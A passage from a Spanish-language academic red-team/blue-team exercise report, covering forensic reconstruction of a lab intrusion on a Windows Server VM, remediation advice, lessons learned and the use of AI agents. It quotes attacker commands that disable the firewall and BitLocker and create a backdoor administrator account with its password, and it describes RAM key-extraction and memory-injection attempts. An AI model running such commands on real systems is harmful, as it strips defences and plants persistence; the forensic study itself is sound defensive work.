Todos los comandos ejecutados fueron de **solo lectura** (ISO/IEC 27037), y cada artefacto fue documentado con hash SHA-256, ruta y marcas de tiempo para preservar la **cadena de custodia**.

4.2.2 Exclusiones (Actividad Legítima del Blue Team)

Las siguientes actividades fueron identificadas como operaciones documentadas del Blue Team y **no se reportan como maliciosas**:

Actividad	Justificación
Servicio WinNetSvc (Sysmon renombrado)	Monitoreo defensivo ofuscado desplegado por el Blue Team
Script InternalAudit.ps1 y sys_data.dat	Recolector de logs Sysmon del Blue Team
takeown/icaccls sobre LOLBins	Hardening LOLBins (táctica de “tierra quemada”)
Script nuke.ps1	Hardening final ejecutado antes de entregar la máquina
Cuenta Administrador (honeypot)	Cuenta señuelo sin privilegios, creada deliberadamente
Configuración de Sysmon WinNetSvc.xml	Reglas de detección defensivas
Toda la actividad a partir del 7 de abril	Fase de recuperación del Blue Team

Tabla 4.2: Exclusiones de actividad legítima ejecutada por el Blue Team.

4.3 Reconstrucción de la “Kill Chain”

El script de hardening nuke.ps1 fue ejecutado por el Blue Team **antes de entregar la máquina** al Red Team. Por lo tanto, los logs de Security, PowerShell y Application cubren **la totalidad del periodo de exposición**.

4.3.1 Historial de Comandos del Red Team

Se localizó el historial de PowerShell en el perfil de Administrador (perfil original renombrado a user2 por el Blue Team).

IMPORTANTE: El historial no tiene timestamps por línea, pero se puede

correlacionar con los eventos de Security. Todo lo anterior al comando `shutdown /s /t 0` corresponde al periodo del Red Team.

```
1 # --- Fase 1: Reconocimiento del sistema ---
2 exit
3 netsh advfirewall set allprofiles state off           # Desactiva
   el firewall de Windows
4 manage-bde -status C:                               # Comprueba
   estado de BitLocker
5 manage-bde -off C:                                  # Intenta
   desactivar BitLocker
6 manage-bde -status C:                               # Verifica
   que se desactivó
7
8 # --- Fase 2: Creación de cuenta backdoor ---
9 net user yishiego EstuveAqui.1234 /add               # Crea
   cuenta con contraseña explícita
10 net localgroup Administradores yishiego /add        # Eleva a
   Administrador
11
12 # --- Fase 3: Reconocimiento de la aplicación web ---
13 ls
14 whoami
15 cd ..
16 cd ..
17 cd ..
18 cd .\inetpub\
19 cd .\wwwroot
20 ls
21 cd .\SecureCatalog
22 ls
23
24 # --- Fase 4: Apagado del sistema ---
25 shutdown /s /t 0                                     # Apaga la
   máquina inmediatamente
```

PRECAUCIÓN: Clave expuesta: La contraseña de la cuenta backdoor yishiego es **EstuveAqui.1234**, visible en el historial.

4.3.2 Correlación con Security Event Log (25 de marzo de 2026)

Sesión 1 — Acceso, reconocimiento y persistencia (13:32 — 13:48)

- **13:32:41:** Login interactivo (user2, LogonType 2).
- **(Sin Log):** `netsh advfirewall set allprofiles state off` y `manage-bde -off C:`.
- **13:43:32:** Creación de la cuenta `yishiego` con elevación a Administradores a las 13:43:55.
- **(Sin Log):** Exploración de rutas de la aplicación web.
- **13:48:09:** Cierre del servicio de log por el apagado de la máquina (`shutdown /s /t 0`).

Sesión 2 — Verificación post-reinicio (13:56 — 14:01)

Login interactivo y posterior cierre de sesión tras 34 segundos. Sin comandos registrados; probablemente se verificó que la cuenta `yishiego` persistía tras el reinicio.

4.3.3 Cobertura de Sysmon durante el ataque

El servicio Sysmon (WinNetSvc) registró **2.607 eventos**. Sin embargo, **no se capturaron eventos de creación de procesos (ID 1)**.

Causa: La configuración del Blue Team estaba diseñada para detectar webshells y movimiento lateral, monitoreando procesos hijos de IIS (`w3wp.exe`). Las sesiones interactivas de consola (LogonType 2) **no estaban cubiertas**.

4.3.4 Hallazgo Confirmado: Cuenta Backdoor **yishiego**

- **Fecha de creación:** 25/03/2026 13:43:32.
- **Contraseña:** **EstuveAqui.1234** (expuesta en historial).
- **Persistencia sin uso:** Sin login registrado (LastLogon vacío), creada como mecanismo de **persistencia para uso futuro**.

- **Atacante minimalista:** La única acción detectada fue la creación de esta cuenta y el reconocimiento de archivos.

4.4 Determinación del vector de entrada (fallo web o acceso físico)

Determinación: Acceso físico a la consola de la máquina virtual con **credenciales conocidas de user2**.

Evidencia que sustenta esta conclusión:

- **Security Event ID 4624:** Dos logins de user2 con LogonType 2 (interactivo local) desde 127.0.0.1.
- **Firewall:** Política estricta (solo 80/443 abiertos) y SSH desinstalado (imposible acceso remoto).
- **Webroot:** Archivos intactos (fecha 03/03/2026). Sin webshells ni archivos añadidos.
- **Sysmon ID 1 & 3:** Sin procesos hijos sospechosos de IIS ni conexiones salientes anómalas.
- **Logs de IIS:** Sin peticiones sospechosas en el periodo de exposición.

Conclusión: El Red Team accedió mediante la **consola de la máquina virtual** usando las credenciales de user2.

4.5 Cronología del ataque y alcance del compromiso (datos exfiltrados, persistencia)

4.5.1 Cronología del Incidente

```

1 gantt
2   title Cronología del Incidente
3   dateFormat YYYY-MM-DD
4   axisFormat %d/%m

```

5	
6	section Blue Team - Despliegue
7	Despliegue aplicación SecureCatalog :done, 2026-03-03, 1d
8	Hardening completo + nuke.ps1 :done, 2026-03-04, 1d
9	
10	section Red Team - Compromiso
11	Sesión 1 - Creación cuenta yishiego :crit, 2026-03-25, 1d
12	Sesión 2 - Verificación post-reinicio :crit, 2026-03-25, 1d
13	
14	section Blue Team - Recuperación
15	Recuperación de la máquina :done, 2026-04-07, 1d

4.5.2 Alcance del Compromiso

- **Confidencialidad:** Estudio de la estructura web (SecureCatalog), sin indicios de exfiltración.
- **Integridad:** Cuenta backdoor yishiego. Se desactivaron BitLocker y el Firewall (mediante `netsh advfirewall set allprofiles state off`).
- **Disponibilidad:** Sistema apagado por el atacante (`shutdown /s /t 0`). Sin impacto permanente sobre SecureCatalog.

4.6 Recomendaciones de Remediación

Las siguientes acciones **NO fueron ejecutadas** durante el análisis para preservar la integridad forense:

1. **Desactivar y eliminar la cuenta yishiego** inmediatamente.
2. **Cambiar la contraseña de user2** (el Red Team la conoce).
3. **Ampliar reglas de Sysmon** para incluir `Process Create` en sesiones interactivas de consola (`LogonType 2`).
4. **Auditar accesos futuros** y configurar alertas en Wazuh para eventos 4720 (creación de cuentas).
5. **Restringir acceso físico** a la máquina virtual.

4.7 Anexo: Comandos Forenses Ejecutados

Lista completa de comandos ejecutados durante el análisis forense (solo lectura, sin modificación del sistema):

```

1 # --- RFC 3227: Datos volátiles (Prioridad 1-2) ---
2 Get-NetTCPConnection | Where-Object {$_.State -eq 'Established' -
   or $_.State -eq 'Listen'}
3 Get-Process | Select-Object Id, ProcessName, Path, StartTime |
   Sort-Object StartTime
4
5 # --- Sesiones y logons (Prioridad 3) ---
6 Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624}
7 Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624;
   StartTime='2026-03-05'; EndTime='2026-04-07'}
8 | Where-Object { $_.Properties[8].Value -eq 2 } # Solo
   LogonType 2
9
10 # --- Eventos de gestión de cuentas ---
11 Get-WinEvent -FilterHashtable @{LogName='Security'; Id
   =4720,4722,4724,4732,4733,4728,4738,4647;
12   StartTime='2026-03-05'; EndTime='2026-04-07'}
13 Get-WinEvent -FilterHashtable @{LogName='Security'; StartTime
   ='2026-03-25 13:00:00';
14   EndTime='2026-03-25 14:30:00'}
15
16 # --- Sysmon (Prioridad 4) ---
17 Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon
   /Operational'; Id=1,3,11,13,16}
18 Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon
   /Operational';
19   StartTime='2026-03-04'; EndTime='2026-04-07'}
20 | Group-Object { $_.TimeCreated.ToString('yyyy-MM-dd') } #
   Distribución por fecha
21 Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon
   /Operational'; Id=12,13;
22   StartTime='2026-03-25'; EndTime='2026-03-26'} # Registry
   events del día del ataque
23 Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -
   MaxEvents 1 -Oldest
24

```



```
25 # --- Artefactos de persistencia (Prioridad 5) ---
26 Get-LocalUser | Select-Object Name, SID, Enabled, LastLogon,
    PasswordLastSet
27 Get-LocalGroupMember -Group 'Administradores'
28 Get-Service WinNetSvc | Select-Object Name, Status, StartType
29 Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'}
30 Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'}
31
32 # --- Archivos en disco (Prioridad 6) ---
33 Get-ChildItem 'C:\inetpub\wwwroot\SecureCatalog\' -Recurse
34 Get-FileHash 'C:\Windows\WinNetSvc.exe' -Algorithm SHA256
35 Get-Content 'C:\Windows\System32\Drivers\en-US\NetworkData\
    InternalAudit.ps1'
36 Get-Content 'C:\Windows\System32\Config\TxR\Diagnostics\sys_data.
    dat' -TotalCount 100
37 Select-String -Path 'C:\Windows\System32\Config\TxR\Diagnostics\
    sys_data.dat' -Pattern '25/03/2026'
38 Get-Content 'C:\inetpub\wwwroot\SecureCatalog\appsettings.json'
```

Fase 4: Securización Reactiva y Mejora de la Calidad

- 5.1 Análisis de Causa Raíz (RCA) del incidente**
- 5.2 Remediación (refactorización, parcheo y políticas)**
- 5.3 Definición de Métricas de Calidad y KPIs futuros**

Capítulo 6

Conclusiones

6.1 Registro de “Requests for Information” (RFI) o consultorías técnicas solicitadas

Durante el transcurso de las actividades de auditoría y respuesta, se gestionó la comunicación formal entre los equipos ofensivo (*Red Team*) y defensivo (*Blue Team*) mediante el procedimiento establecido de solicitudes de información o RFIs (*Requests for Information*). Los documentos originales en formato PDF correspondientes a estas solicitudes y respuestas se encuentran archivados en el repositorio del proyecto (véase el [C](#)). A continuación se detallan las solicitudes tramitadas de manera oficial:

RFI 01 — Equipo Ofensivo (*Red Team*)

- **Motivo:** Durante el análisis activo de vulnerabilidades, se detectó que la máquina virtual objetivo se apagaba inesperadamente de forma periódica tras pocos minutos de actividad, dificultando el mantenimiento de sesiones continuas de análisis y auditoría.
- **Resolución y Estado:** *Inconclusa*. El equipo técnico responsable del entorno no contaba con el margen de tiempo necesario para diagnosticar o estabilizar el comportamiento del hipervisor.

RFI 02 — Equipo Defensor (*Blue Team*)

- **Motivo:** En la fase forense post-incidente, al intentar acceder localmente al sistema comprometido para la recolección de telemetría y artefactos, se

constató que las credenciales de administración por defecto habían sido modificadas durante la intrusión.

- **Resolución y Estado:** *Exitosa*. El equipo ofensivo facilitó oportunamente las nuevas credenciales de acceso a través del canal oficial, posibilitando las labores forenses.

Adherencia y Cumplimiento de las Reglas de Compromiso (RoE)

Durante la fase de penetración ofensiva (*pentesting*), se registró un incidente de comunicación extraoficial iniciado por el equipo atacante (*Red Team*). La contraparte contactó de forma directa a miembros del equipo defensor a través de canales no oficiales para consultar información técnica acerca de un presunto binario malicioso en ejecución en el entorno proporcionado.

En estricto cumplimiento de las Reglas de Compromiso (*Rules of Engagement* — RoE) acordadas para el ejercicio y con el objetivo de preservar la transparencia e imparcialidad de la auditoría, se denegó cualquier intercambio de información por vías informales. Asimismo, se instó al equipo atacante a formalizar su consulta mediante el procedimiento regulado de RFI. De esta forma, se garantizó la trazabilidad de las interacciones y el rigor metodológico establecido para el escenario de simulación.

6.2 Lecciones aprendidas

Selección del Stack Tecnológico frente a Restricciones de Infraestructura

En la planificación de proyectos tecnológicos, ante la ausencia de una especificación restrictiva del stack de desarrollo, debe prevalecer la facilidad de despliegue sobre el entorno de producción real por encima de la familiaridad subjetiva con herramientas particulares. Favorecer tecnologías aparentemente más sencillas en su fase de desarrollo local (como el uso de Python) puede resultar contraproducente si introduce incompatibilidades críticas con el sistema operativo de destino. En entornos Windows Server, el ecosistema nativo e intuitivo está constituido por la pila ASP.NET Core y el servidor IIS (*Internet Information Services*). Aunque Python presente una menor curva de aprendizaje inicial, su integración en Windows resulta menos eficiente e introduce

complejidades operativas en la administración del servicio y la gestión de permisos del pool de aplicaciones, lo que valida a .NET e IIS como la elección arquitectónica óptima para esta infraestructura.

Equilibrio Operativo: Robustez del Bastionado frente a Mantenimiento Defensivo

Las políticas de bastionado (*hardening*) aplicadas sobre un activo digital deben diseñarse de forma que no inhabiliten el mantenimiento y la auditoría posterior al despliegue. En el escenario práctico de este proyecto, la desactivación rigurosa de canales comunes de administración remota (tales como el servicio SSH) cumplió eficazmente la función de mitigar la superficie de exposición del sistema frente a ataques laterales del equipo ofensivo (*Red Team*). No obstante, esta contención perimetral estricta requirió un esfuerzo de reversión y reconfiguración técnica adicional para habilitar la ejecución de flujos agénticos automatizados y herramientas forenses de recolección remota de evidencias tras confirmarse la intrusión. La seguridad, por tanto, debe concebirse desde un enfoque holístico que proteja el activo sin entorpecer los procesos legítimos de administración y respuesta a incidentes.

Optimización de Directivas mediante el *Harnessing* de Modelos Generativos

La construcción de directivas maestras (*master prompts*) para el guiado de modelos de lenguaje (LLM) no debe limitarse a la simple traslación de los requerimientos funcionales o el pliego de la práctica. Dicha simplificación restringe el comportamiento del agente a su conocimiento de entrenamiento básico y lo hace vulnerable a sesgos contextuales. Para maximizar la profundidad técnica y la efectividad de las directivas, se implementó una metodología de investigación previa orientada a identificar amenazas emergentes y patrones avanzados de ciberseguridad. La inyección de este contexto enriquecido de forma estructurada en los prompts maestros representa el concepto de *harnessing* de los LLMs. Esta práctica optimiza de forma sustancial las respuestas de la IA y permite aplicar metodologías de investigación académica rigurosa a los ciclos de vida de desarrollo de software asistido por Inteligencia Artificial.

6.3 Uso de LLM en la práctica

El desarrollo, bastionado, evaluación ofensiva y análisis forense del activo digital implementados en esta práctica estuvieron guiados por el uso sistemático de herramientas agénticas basadas en modelos de lenguaje de gran escala (LLM). A lo largo de las distintas fases del ciclo de vida del proyecto, la metodología de interacción y la arquitectura de los prompts evolucionaron significativamente para adaptarse a los requisitos de autonomía y especialización de cada etapa.

Fase de Construcción del Activo: GitHub Copilot en VSCode

Durante la fase inicial de diseño y construcción del software (Web CRUD), las sesiones agénticas se ejecutaron en el entorno de desarrollo *Visual Studio Code* (VS-Code) empleando *GitHub Copilot*. En esta etapa, la arquitectura de las instrucciones se estructuró de manera híbrida. Por un lado, se definió un prompt maestro que actuaba como núcleo directivo general del agente de codificación. Por otro lado, esta directiva maestra se complementó con ficheros de dominio independientes que contenían conocimiento específico sobre la persistencia, la lógica de negocio, las APIs expuestas y las restricciones de seguridad (véanse los enlaces a estos componentes en el [A](#)). Esta fragmentación del conocimiento de dominio permitió mantener los contextos de los prompts contenidos y específicos, facilitando la generación limpia y modular de las clases y controladores de la aplicación ASP.NET Core.

Fases Posteriores a la Construcción: Workflows y Rules en Antigravity IDE

Una vez consolidado el código fuente base de la aplicación, las fases subsiguientes (despliegue en IIS, bastionado perimetral, pentesting ofensivo y análisis forense post-incidente) exigieron un nivel superior de control contextual y reproducibilidad operativa. Para ello, se migró el entorno de trabajo a sesiones agénticas especializadas dentro de *Antigravity IDE*.

En este nuevo ecosistema, la estructura de prompts evolucionó hacia un modelo gobernado de forma estricta mediante reglas de comportamiento (*rules*) y flujos guiados (*workflows*). Los ficheros de reglas definieron el rol forense u ofensivo del agente en cada fase y sus correspondientes restricciones de seguridad y exclusión de acti-

vidades. En paralelo, los archivos de workflow especificaron de manera secuencial los comandos de auditoría requeridos y el formato de los entregables resultantes en Markdown (cuyos enlaces al repositorio se encuentran documentados en el [A](#)). Esta evolución de prompts modulares de construcción hacia directivas dinámicas de flujo en *Antigravity IDE* permitió que las acciones del analista agéntico se ajustaran a estándares forenses estrictos (como RFC 3227 e ISO/IEC 27037) de forma autónoma.

Refinamiento Editorial y Ajuste de Tono mediante Borradores de los Autores

Las conclusiones, el análisis de impacto operativo y las lecciones aprendidas recopiladas en este informe final se originaron a partir de borradores manuscritos preliminares de los autores. Estos escritos técnicos iniciales estructuraron las ideas esenciales, observaciones de la telemetría e incidentes reales. A continuación, el modelo generativo de IA procesó dichos borradores en bruto para refinar el estilo, estructurar formalmente el discurso y unificar el tono con los requisitos estándar de un entregable académico de ciberseguridad, asegurando en todo momento la autoría humana del análisis de seguridad.

Apéndices

Apéndice A

Anexo I: Prompts y directivas de los agentes

A lo largo de las distintas fases de la práctica, el comportamiento y alcance de los agentes de Inteligencia Artificial se gobernaron de manera estricta mediante directivas de configuración y reglas de entorno. A continuación se detallan los enlaces de acceso público al repositorio del proyecto y la descripción del propósito de cada prompt.

A.1 Anexo A: Prompts de la Construcción

En la fase de diseño y generación del código fuente del activo digital, las instrucciones se estructuraron de manera modular para gobernar las capacidades del agente en VSCode:

- **Prompt Maestro de Construcción:**

Define el rol general de desarrollo seguro del agente de codificación y la arquitectura base ASP.NET Core sobre IIS en Windows Server.

Enlace:

<https://github.com/danielquinti/csai-assignment-2025/blob/main/.github/agents/main.agent.md>

- **Ficheros de Dominio y Contexto Técnico:**

Estructura de conocimiento técnico fraccionado de dominio (incluye la configuración de base de datos, directivas de endpoints, modelo de permisos y res-

tricciones contra vectores de ataque lógicos).

Enlace:

https://github.com/danielquinti/csai-assignment-2025/tree/main/blue_team_app/prompts

A.2 Anexo B: Prompts Posteriores a la Construcción

Para las fases operativas de despliegue, bastionado, penetración ofensiva y auditoría forense post-incidente, las directivas evolucionaron hacia flujos estructurados de trabajo bajo el entorno de Antigravity IDE:

- **Workflows y Reglas de Ejecución Agéntica (Rules & Workflows):**

Directivas de comportamiento dinámico, workflows de compilación, bastionado sistemático de servicios locales, metodologías de pentesting perimetral y pautas forenses pasivas en la máquina comprometida.

Enlace:

<https://github.com/danielquinti/csai-assignment-2025/tree/main/.agents>

Apéndice B

Anexo II: Código fuente de la aplicación

El código fuente completo de la aplicación desarrollada, junto con sus directivas agénticas y archivos de configuración, se encuentra disponible de forma pública para su revisión en el siguiente repositorio de GitHub:

[https://github.com/danielquinti/csai-assignment-2025/
tree/main/blue_team_app](https://github.com/danielquinti/csai-assignment-2025/tree/main/blue_team_app)

Anexo III: Solicitudes de Información (RFI)

Durante el desarrollo de las actividades del proyecto, todas las comunicaciones formales e intercambios de información técnica entre el equipo ofensivo (*Red Team*) y el equipo defensor (*Blue Team*) se gestionaron mediante solicitudes de información formales, denominadas RFI (*Requests for Information*), de acuerdo con las Reglas de Compromiso (*Rules of Engagement* — RoE) establecidas.

Los documentos oficiales en formato PDF correspondientes a estas solicitudes y sus respectivas respuestas se encuentran archivados en el repositorio público del proyecto, bajo el directorio `r f i /`, organizados cronológicamente:

- **Directorio Principal de RFIs:**

Acceso directo a la carpeta que contiene el histórico de comunicaciones formalizadas.

Enlace:

<https://github.com/danielquinti/csai-assignment-2025/tree/main/rfi>

- **RFI 01 (05 de abril de 2026):**

Solicitud del equipo ofensivo respecto al apagado periódico de la máquina virtual y su correspondiente resolución técnica.

Enlaces:

- Solicitud: <https://github.com/danielquinti/csai-assignment-2025/blob/main/rfi/05-04-2026/solicitud.pdf>
- Respuesta: <https://github.com/danielquinti/csai-assignment-2025/blob/main/rfi/05-04-2026/respuesta.pdf>

- **RFI 02 (08 de abril de 2026):**

Solicitud del equipo defensor para recuperar el acceso de administración al sistema tras la modificación de credenciales durante la intrusión.

Enlaces:

- Solicitud: <https://github.com/danielquinti/csai-assignment-2025/blob/main/rfi/08-04-2026/solicitud.pdf>
- Respuesta: <https://github.com/danielquinti/csai-assignment-2025/blob/main/rfi/08-04-2026/respuesta.pdf>

Anexo IV: Informes de Análisis de Memoria RAM (Red Team)

Durante el ejercicio práctico, el equipo ofensivo (*Red Team*) realizó análisis detallados de la memoria RAM de la máquina virtual objetivo para la extracción de material criptográfico de BitLocker y la inyección de código. Dado que ambos vectores de ataque resultaron fallidos y no produjeron un compromiso funcional ni el descifrado del volumen, estos análisis y sus detalles técnicos fueron relegados a este apéndice en lugar de formar parte del cuerpo principal de la memoria. Los informes exhaustivos que detallan cada una de las metodologías empleadas, los scripts de automatización desarrollados, las heurísticas estadísticas aplicadas y los resultados obtenidos se encuentran documentados y disponibles en el repositorio público de GitHub bajo el directorio `RedTeamBitLocker/`:

- **Informe de Lectura de RAM y Ruptura de BitLocker:**

Documento que recopila el análisis de volcados físicos de memoria (`.elf`) y estados guardados (`.sav`), el perfilado con Volatility 3 y MemProcFS, y la aplicación de algoritmos estadísticos (Entropía Shannon y Chi-cuadrado χ^2) para la búsqueda de claves de cifrado (VMK/FVEK). Incluye la descripción estructurada de los intentos fallidos de extracción de secretos.

Enlace:

https://github.com/danielquinti/csai-assignment-2025/blob/main/RedTeamBitLocker/memory_analysis.md

- **Informe de Inyección de RAM:**

Documento que detalla los intentos de escritura directa en caliente en la RAM

de la máquina virtual invitada para saltar la autenticación de la pantalla de login. Se describen los métodos mediante GDB RSP, WinDbg kernel y parcheo directo de memoria en el host, junto con el análisis de estabilidad del hipervisor. Enlace:

https://github.com/danielquinti/csai-assignment-2025/blob/main/RedTeamBitLocker/memory_injection.md

